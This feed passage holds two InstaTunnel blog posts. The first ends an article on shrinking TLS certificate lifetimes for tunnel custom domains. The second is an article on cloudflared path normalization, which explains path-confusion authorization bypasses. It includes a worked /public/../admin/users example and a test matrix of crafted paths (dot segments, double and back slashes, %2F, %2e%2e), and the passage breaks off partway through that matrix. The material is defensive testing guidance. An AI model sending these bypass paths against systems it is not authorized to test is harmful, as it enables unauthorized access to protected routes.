&lt;strong&gt;Monitor the live certificate, not the job.&lt;/strong&gt; Run an external check that connects to each hostname and alerts when the remaining lifetime falls below a set threshold, such as the last third of the certificate’s life. A job exiting with code 0 proves nothing about what the edge is serving.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Alert on DNS drift.&lt;/strong&gt; A scheduled check that your CNAMEs still resolve to the expected targets catches the most common managed-certificate failure.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Document the ownership.&lt;/strong&gt; When the person who set up the domain leaves, the renewal process should not leave with them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rehearse the failure.&lt;/strong&gt; Know the manual recovery steps (re-create the record, trigger reissue, re-upload) before you need them at 2 a.m.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Provider-Managed or BYO? A Quick Decision Guide
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Situation&lt;/th&gt;
&lt;th&gt;Better choice&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Standard public site, webhooks, API on a custom domain&lt;/td&gt;
&lt;td&gt;Provider-managed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Small team, no dedicated ops&lt;/td&gt;
&lt;td&gt;Provider-managed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Contractual requirement for a specific CA or certificate type&lt;/td&gt;
&lt;td&gt;BYO, with automated upload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Certificate pinned by a partner&lt;/td&gt;
&lt;td&gt;BYO, with a rotation runbook&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wildcard across many tunnels&lt;/td&gt;
&lt;td&gt;Managed with DNS-01 delegation, or BYO with automation&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;For most developers the managed path is right, and shorter lifetimes strengthen the case. A provider that renews continuously is doing the job you would otherwise script yourself.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where Pro Custom Domains Fit
&lt;/h2&gt;

&lt;p&gt;Custom domains are the point where a tunnel stops being a throwaway URL and becomes part of your infrastructure: a stable hostname for webhooks, demos, staging, or a client’s preview. That makes certificate handling part of what you are buying. When evaluating a Pro custom-domain plan from any tunnel provider, ask:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Are certificates issued and renewed automatically, and what happens to the hostname if renewal fails?&lt;/li&gt;
&lt;li&gt;Which challenge types and DNS records are required, and can I see certificate status and expiry in a dashboard or API?&lt;/li&gt;
&lt;li&gt;Is wildcard support available, and how is the &lt;code&gt;_acme-challenge&lt;/code&gt; record handled?&lt;/li&gt;
&lt;li&gt;Can I bring my own certificate, and is rotation scriptable through an API? What does it cost?&lt;/li&gt;
&lt;li&gt;How does the provider alert me before expiry, given that Let’s Encrypt’s reminder emails no longer exist?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A plan that answers these clearly turns the 64-day and 45-day changes into a non-event.&lt;/p&gt;

&lt;h2&gt;
  
  
  Frequently Asked Questions
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Is the 64-day change a CA/Browser Forum rule?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
No. The 64-day default is Let’s Encrypt’s own interim step. The Forum’s current maximum is 200 days, falling to 100 on March 15, 2027.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do I need to do anything if my tunnel provider manages certificates?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Mainly keep your DNS records intact and monitor the certificate your hostname actually serves.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Will Let’s Encrypt certificates become 47 days?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
No. Let’s Encrypt plans 45 days from February 16, 2028, slightly under the Forum’s eventual 47-day maximum in 2029.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What happens to my existing 90-day certificates?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
They stay valid until they expire, and none are revoked as part of the change. Let’s Encrypt expects the last 90-day certificate to expire on May 11, 2027. Anything issued or renewed from February 10, 2027 gets 64 days.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does this apply to self-signed or private-CA certificates?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The schedule governs publicly trusted TLS certificates, so private PKI is outside it, though external callers will not trust such certificates.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The key dates are &lt;strong&gt;February 10, 2027 (Let’s Encrypt moves to 64 days)&lt;/strong&gt;, &lt;strong&gt;March 15, 2027 (100-day industry maximum)&lt;/strong&gt;, &lt;strong&gt;February 16, 2028 (Let’s Encrypt moves to 45 days)&lt;/strong&gt;, and &lt;strong&gt;March 15, 2029 (47-day maximum, 10-day DCV reuse)&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;On tunnels, the risk is rarely the provider’s renewal engine. It is DNS drift, expired credentials, and BYO certificates nobody rotated.&lt;/li&gt;
&lt;li&gt;Monitor the served certificate externally, because Let’s Encrypt’s reminder emails ended in June 2025.&lt;/li&gt;
&lt;li&gt;Replace hardcoded renewal offsets with ARI or renewal at about two-thirds of the lifetime.&lt;/li&gt;
&lt;li&gt;Prefer managed certificates unless a real requirement says otherwise, and automate every step if you bring your own.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;CA/Browser Forum Ballot SC-081v3 schedule: &lt;a href="https://shop.sslinsights.com/blog/ca-browser-forum-47-day-certificate-roadmap/" rel="noopener noreferrer"&gt;SSLInsights&lt;/a&gt;, &lt;a href="https://odown.com/blog/how-long-can-an-ssl-certificate-last-now/" rel="noopener noreferrer"&gt;Odown&lt;/a&gt;, &lt;a href="https://support.dnsimple.com/articles/announcement-ssl-certificate-validity-changes/" rel="noopener noreferrer"&gt;DNSimple&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isrg.org/post/from-90-to-45/" rel="noopener noreferrer"&gt;Let’s Encrypt / ISRG: Decreasing Certificate Lifetimes to 45 Days&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://letsencrypt.org/2026/10/07/64-day-certs" rel="noopener noreferrer"&gt;Let’s Encrypt: 64-Day Certificate Lifetimes Coming Feb 2027&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://letsencrypt.org/2026/02/18/dns-persist-01" rel="noopener noreferrer"&gt;Let’s Encrypt: DNS-PERSIST-01&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://community.letsencrypt.org/t/dns-persist-01-deployment-status-and-timeline/246468" rel="noopener noreferrer"&gt;Let’s Encrypt community: DNS-PERSIST-01 deployment status&lt;/a&gt; and &lt;a href="https://github.com/win-acme/win-acme/issues/2849" rel="noopener noreferrer"&gt;win-acme discussion&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://letsencrypt.org/2025/06/26/expiration-notification-service-has-ended" rel="noopener noreferrer"&gt;Let’s Encrypt: Expiration Notification Service Has Ended&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://letsencrypt.org/docs/monitoring-options/" rel="noopener noreferrer"&gt;Let’s Encrypt: Monitoring Service Options&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://letsencrypt.org/docs/challenge-types/" rel="noopener noreferrer"&gt;Let’s Encrypt: Challenge Types&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://letsencrypt.org/docs/caa/" rel="noopener noreferrer"&gt;Let’s Encrypt: CAA&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ngrok.com/docs/domains/tls-certificates" rel="noopener noreferrer"&gt;ngrok: TLS certificates documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://community.letsencrypt.org/t/certbot-4-1-0-release/238369" rel="noopener noreferrer"&gt;Certbot 4.1.0 release (ARI support)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://datatracker.ietf.org/doc/draft-ietf-acme-ari/04/" rel="noopener noreferrer"&gt;IETF: ACME Renewal Information, RFC 9773&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://instatunnel.my/blog/certificate-lifetimes-are-shrinking-what-64-day-and-45-day-tls-means-for-custom-domains-on-tunnels" rel="noopener noreferrer"&gt;https://instatunnel.my/blog/certificate-lifetimes-are-shrinking-what-64-day-and-45-day-tls-means-for-custom-domains-on-tunnels&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
    </item>
    <item>
      <title>Path Normalization at the Tunnel Edge: Why a Route Matches on localhost but Not Through a Tunnel</title>
      <dc:creator>InstaTunnel</dc:creator>
      <pubDate>Thu, 05 Nov 2026 01:42:28 +0000</pubDate>
      <link>https://dev.to/instatunnel/path-normalization-at-the-tunnel-edge-why-a-route-matches-on-localhost-but-not-through-a-tunnel-3h36</link>
      <guid>https://dev.to/instatunnel/path-normalization-at-the-tunnel-edge-why-a-route-matches-on-localhost-but-not-through-a-tunnel-3h36</guid>
      <description>&lt;p&gt;Your &lt;code&gt;/admin&lt;/code&gt; route works on &lt;code&gt;localhost:8080&lt;/code&gt;. Through the tunnel, &lt;code&gt;//admin&lt;/code&gt; returns something different, &lt;code&gt;/public/../admin&lt;/code&gt; behaves differently again, and a rule you assumed was guarding the path never seems to fire. Nothing is wrong with your app. Several components are each parsing the same path with different rules, and a tunnel adds one more parser to the chain.&lt;/p&gt;

&lt;p&gt;That chain is about to change. Starting &lt;strong&gt;2027-01-25&lt;/strong&gt;, new &lt;code&gt;cloudflared&lt;/code&gt; releases will turn on URL normalization by default, which Cloudflare says may change which ingress rule matches a request. This guide explains what changes, what doesn't, how path-confusion auth bypasses work, and how to test your own routing before the default flips.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Quick summary&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;cloudflared&lt;/code&gt; 2026.10.0 and later can normalize the URL path &lt;em&gt;before&lt;/em&gt; matching ingress rules.&lt;/li&gt;
&lt;li&gt;It is off by default today and on by default in new releases from 2027-01-25.&lt;/li&gt;
&lt;li&gt;Cloudflare scopes the change to tunnels with ingress rules that require Cloudflare Access validation; other configurations are unaffected.&lt;/li&gt;
&lt;li&gt;The documented transformations are dot-segment removal, backslash-to-slash conversion and merging repeated slashes. The path forwarded to your origin is not modified.&lt;/li&gt;
&lt;li&gt;Percent-encoding (such as &lt;code&gt;%2F&lt;/code&gt;) and trailing slashes are not in the documented list, so test them instead of assuming.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  What Cloudflare announced
&lt;/h2&gt;

&lt;p&gt;On October 22, 2026, Cloudflare published a changelog entry titled "Cloudflare Tunnel supports URL normalization." The key facts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Availability:&lt;/strong&gt; &lt;code&gt;cloudflared&lt;/code&gt; version &lt;code&gt;2026.10.0&lt;/code&gt; and later. GitHub lists 2026.10.0 as released on October 5, 2026; the newest release I could find as of November 5, 2026 is 2026.10.6.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Default today:&lt;/strong&gt; off. The flag is inverted, so the documented default of &lt;code&gt;--disable-path-normalization&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Default from 2027-01-25:&lt;/strong&gt; on, for new releases.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scope:&lt;/strong&gt; Cloudflare says it improves security for tunnels with rules that require Access validation, and that configurations without such rules are unaffected.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Origin path:&lt;/strong&gt; unchanged. Normalization applies to the path used for &lt;em&gt;matching&lt;/em&gt;, not the path forwarded.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To enable it now:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;cloudflared tunnel &lt;span class="nt"&gt;--disable-path-normalization&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;false &lt;/span&gt;run &amp;lt;TUNNEL_NAME_OR_UUID&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or set &lt;code&gt;TUNNEL_DISABLE_PATH_NORMALIZATION=false&lt;/code&gt; on each &lt;code&gt;cloudflared&lt;/code&gt; replica and restart it.&lt;/p&gt;

&lt;p&gt;One operational detail deserves attention. Standalone &lt;code&gt;cloudflared&lt;/code&gt; binaries running as a service auto-update every 24 hours by default (&lt;code&gt;autoupdate-freq&lt;/code&gt;). Package-manager installs, Windows and interactive runs don't auto-update. If your tunnel auto-updates, or you deploy a floating &lt;code&gt;latest&lt;/code&gt; image tag, the new default will arrive without a deliberate upgrade. Either set the flag explicitly now or pin your version until you've tested.&lt;/p&gt;

&lt;h2&gt;
  
  
  What gets normalized, and what doesn't
&lt;/h2&gt;

&lt;p&gt;Cloudflare's configuration docs describe the behavior with three examples. Incoming paths are shown as &lt;code&gt;cloudflared&lt;/code&gt; receives them:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Incoming path&lt;/th&gt;
&lt;th&gt;Used for ingress matching&lt;/th&gt;
&lt;th&gt;Sent to origin&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/hello/../path&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/path&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/hello/../path&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/hello//path&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/hello/path&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/hello//path&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/hello\path&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/hello/path&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/hello\path&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;In words: dot segments (&lt;code&gt;.&lt;/code&gt; and &lt;code&gt;..&lt;/code&gt;) are removed following RFC 3986 section 5.2.4, backslashes become forward slashes, and repeated slashes are merged.&lt;/p&gt;

&lt;p&gt;Notice what the documentation does &lt;em&gt;not&lt;/em&gt; list: percent-decoding, trailing-slash handling, semicolon path parameters, and case folding. This matters because RFC 3986 draws a hard line here. A percent-encoded &lt;em&gt;unreserved&lt;/em&gt; character such as &lt;code&gt;%61&lt;/code&gt; (the letter "a") is equivalent to its literal form, so normalizers may decode it. A percent-encoded &lt;em&gt;reserved&lt;/em&gt; character is not equivalent: &lt;code&gt;%2F&lt;/code&gt; is not the same as &lt;code&gt;/&lt;/code&gt;, and a standards-compliant normalizer must not collapse them.&lt;/p&gt;

&lt;p&gt;My takeaway: treat anything outside Cloudflare's three documented transformations as "not normalized" until your own test shows otherwise. I verified this against Cloudflare's documentation, not by instrumenting &lt;code&gt;cloudflared&lt;/code&gt;, so the test matrix below is the way to confirm behavior on your version.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why localhost and a tunnel disagree
&lt;/h2&gt;

&lt;p&gt;Hitting &lt;code&gt;localhost:8080/admin&lt;/code&gt; involves one path parser: your framework's. A tunneled request passes through at least three:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;The Cloudflare edge,&lt;/strong&gt; which has its own URL normalization feature. Per Cloudflare's docs, incoming-URL normalization is on by default, and certain baseline steps (merging adjacent slashes, for example) are always applied and cannot be disabled.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;cloudflared&lt;/code&gt;,&lt;/strong&gt; which matches the path against your ingress rules.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Your origin,&lt;/strong&gt; whose framework, reverse proxy or static-file handler applies its own decoding and dot-segment logic.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;There is a fourth, easily overlooked participant: your test client. Browsers resolve &lt;code&gt;..&lt;/code&gt; segments before sending a request, and the WHATWG URL parser treats backslashes as slashes for http and https URLs. So clicking around in a browser almost never exercises these inputs. Even &lt;code&gt;curl&lt;/code&gt; collapses dot segments unless you pass &lt;code&gt;--path-as-is&lt;/code&gt;. When you "tested" a path and it worked, the client may have rewritten it into a safe one first.&lt;/p&gt;

&lt;p&gt;Any disagreement between parsers is a potential bypass. If layer two thinks the request is for &lt;code&gt;/public/...&lt;/code&gt; and layer three thinks it's for &lt;code&gt;/admin&lt;/code&gt;, a rule written for one is evaluated against the other.&lt;/p&gt;

&lt;h2&gt;
  
  
  The path-confusion auth bypass, step by step
&lt;/h2&gt;

&lt;p&gt;Consider a tunnel that protects &lt;code&gt;/admin&lt;/code&gt; with Access validation at &lt;code&gt;cloudflared&lt;/code&gt;, defense in depth behind your Access policy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;tunnel&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;&amp;lt;TUNNEL_UUID&amp;gt;&lt;/span&gt;
&lt;span class="na"&gt;credentials-file&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/etc/cloudflared/&amp;lt;TUNNEL_UUID&amp;gt;.json&lt;/span&gt;

&lt;span class="na"&gt;ingress&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;hostname&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;app.example.com&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;^/admin(/|$)&lt;/span&gt;
    &lt;span class="na"&gt;service&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http://localhost:8080&lt;/span&gt;
    &lt;span class="na"&gt;originRequest&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;access&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
        &lt;span class="na"&gt;teamName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;&amp;lt;your-team-name&amp;gt;&lt;/span&gt;
        &lt;span class="na"&gt;audTag&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;&amp;lt;access-application-aud-tag&amp;gt;&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;hostname&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;app.example.com&lt;/span&gt;
    &lt;span class="na"&gt;service&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http://localhost:8080&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;service&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http_status:404&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ingress rules are evaluated first to last, and &lt;code&gt;path&lt;/code&gt; is a regular expression parsed with Go's &lt;code&gt;regexp/syntax&lt;/code&gt; package. Now send &lt;code&gt;GET /public/../admin/users&lt;/code&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Normalization off:&lt;/strong&gt; the matcher sees &lt;code&gt;/public/../admin/users&lt;/code&gt;. The first rule's regex requires the path to start with &lt;code&gt;/admin&lt;/code&gt;, so it doesn't match. The request falls through to the second rule, which has no Access requirement, and is forwarded with its original path.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Your origin&lt;/strong&gt; collapses the dot segment, routes the request to &lt;code&gt;/admin/users&lt;/code&gt;, and serves it. The JWT check that was supposed to guard &lt;code&gt;/admin&lt;/code&gt; never ran.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Normalization on:&lt;/strong&gt; the matcher sees &lt;code&gt;/admin/users&lt;/code&gt;, selects the first rule, and requires a valid Access JWT. The origin still receives the original path.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The pattern is generic: a security decision made on one interpretation of a path, with the action taken on another. This is exactly what Orange Tsai's 2018 Black Hat and DEF CON research, "Breaking Parser Logic," catalogued. His slides showed that &lt;code&gt;/foo;name=orange/bar/&lt;/code&gt; is read as &lt;code&gt;/foo;name=orange/bar/&lt;/code&gt; by Apache, Nginx and IIS, but as &lt;code&gt;/foo/bar/&lt;/code&gt; by Tomcat and Jetty, and used that gap to bypass proxy-level ACLs.&lt;/p&gt;

&lt;p&gt;It keeps happening, including this year:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Heimdall (CVE-2026-42274):&lt;/strong&gt; before version 0.17.14, the identity-aware proxy matched rules on the raw path while downstream components normalized dot segments, so a request like &lt;code&gt;/user/../admin&lt;/code&gt; could be authorized as one path and processed as another.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Quarkus (CVE-2026-50559):&lt;/strong&gt; path-based authorization policies could be bypassed with percent-encoded semicolons (&lt;code&gt;%3B&lt;/code&gt;), slashes (&lt;code&gt;%2F&lt;/code&gt;) or backslashes (&lt;code&gt;%5C&lt;/code&gt;), because the security layer and the routing or static-file layer decoded them differently.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;@opennextjs/cloudflare (CVE-2026-3125):&lt;/strong&gt; a backslash in &lt;code&gt;/cdn-cgi\image/&lt;/code&gt; slipped past Cloudflare's edge interception, then a Worker's URL class converted it to a forward slash, reaching a vulnerable handler. Fixed in 1.17.1.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;fast-uri (CVE-2026-6321):&lt;/strong&gt; the library decoded percent-encoded separators and dot segments before removing dot segments, so distinct URIs could collapse onto one normalized path. Fixed in 3.1.1.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Different stacks, same root cause: two parsers, one path.&lt;/p&gt;

&lt;h2&gt;
  
  
  The four inputs to test
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Dot segments (&lt;code&gt;/../&lt;/code&gt; and &lt;code&gt;/./&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;This is the classic traversal-style confusion, and the one the new cloudflared setting directly addresses. Test plain &lt;code&gt;..&lt;/code&gt; and the encoded forms &lt;code&gt;%2e%2e&lt;/code&gt; and &lt;code&gt;%2E%2E&lt;/code&gt;. RFC 3986 says percent-encoded unreserved characters are equivalent to literals, and the WHATWG URL parser treats &lt;code&gt;%2e&lt;/code&gt; as a dot in path segments. Many origins decode &lt;code&gt;%2e&lt;/code&gt; before removing dots, as the Quarkus advisory shows. Cloudflare documents dot-segment removal but doesn't say whether encoded dots are decoded first, so this row needs a real test.&lt;/p&gt;

&lt;h3&gt;
  
  
  Double slashes (&lt;code&gt;//&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;Frameworks differ on whether &lt;code&gt;//admin&lt;/code&gt; equals &lt;code&gt;/admin&lt;/code&gt;. Some merge, some treat the empty segment as significant, and some reject it. Cloudflare's &lt;code&gt;cloudflared&lt;/code&gt; normalization merges them for matching only. A pattern like &lt;code&gt;^/admin&lt;/code&gt; won't match &lt;code&gt;//admin&lt;/code&gt; without normalization, and an origin that does merge it will happily serve &lt;code&gt;/admin&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Trailing slashes (&lt;code&gt;/admin&lt;/code&gt; vs &lt;code&gt;/admin/&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;The documented normalization doesn't mention trailing slashes, so assume they are untouched. That makes regex anchoring decisive: &lt;code&gt;^/admin$&lt;/code&gt; matches &lt;code&gt;/admin&lt;/code&gt; but not &lt;code&gt;/admin/&lt;/code&gt;, while many frameworks (Express by default, for instance) route both to the same handler. Write protected-path patterns as &lt;code&gt;^/admin(/|$)&lt;/code&gt;, or better, protect the whole host and carve out public exceptions.&lt;/p&gt;

&lt;h3&gt;
  
  
  Encoded slashes (&lt;code&gt;%2F&lt;/code&gt;) and friends
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;%2F&lt;/code&gt; is where parsers split most. Some origins decode it into a real separator before routing, some keep it inside a single segment, and some reject it outright (many servers expose a setting for this). Because RFC 3986 treats it as non-equivalent to &lt;code&gt;/&lt;/code&gt;, &lt;code&gt;cloudflared&lt;/code&gt;'s documented normalization has no obvious reason to decode it, and a standards-following matcher would treat &lt;code&gt;/admin%2Fusers&lt;/code&gt; as a single opaque segment. Your origin might not. The same goes for &lt;code&gt;%5C&lt;/code&gt; (backslash) and &lt;code&gt;%3B&lt;/code&gt; (semicolon). The Quarkus case shows how a bypass can hide in exactly that gap.&lt;/p&gt;

&lt;h2&gt;
  
  
  A test matrix you can run today
&lt;/h2&gt;

&lt;p&gt;Assume the config above, with the origin returning &lt;code&gt;200&lt;/code&gt; on &lt;code&gt;/admin/*&lt;/code&gt; only when an Access JWT is present. For each request, the pass condition is that it is denied the same way plain &lt;code&gt;/admin/users&lt;/code&gt; is.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Request path&lt;/th&gt;
&lt;th&gt;Matched as (off)&lt;/th&gt;
&lt;th&gt;Matched as (on)&lt;/th&gt;
&lt;th&gt;Documented?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/admin/users&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/admin/users&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/admin/users&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Baseline&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/public/../admin/users&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;raw&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/admin/users&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;//admin/users&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;raw&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/admin/users&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/admin//users&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;raw&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/admin/users&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\admin\users&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;raw&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/admin/users&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/admin/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;raw&lt;/td&gt;
&lt;td&gt;raw&lt;/td&gt;
&lt;td&gt;Trailing slash not listed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/%61dmin/users&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;raw&lt;/td&gt;
&lt;td&gt;Not documented&lt;/td&gt;
&lt;td&gt;No, test it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/admin%2Fusers&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;raw&lt;/td&gt;
&lt;td&gt;Not documented&lt;/td&gt;
&lt;td&gt;No, test it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/public/%2e%2e/admin/users&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;raw&lt;/td&gt;
&lt;td&gt;Not documented&lt;/td&gt;
&lt;td&gt;No, test it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
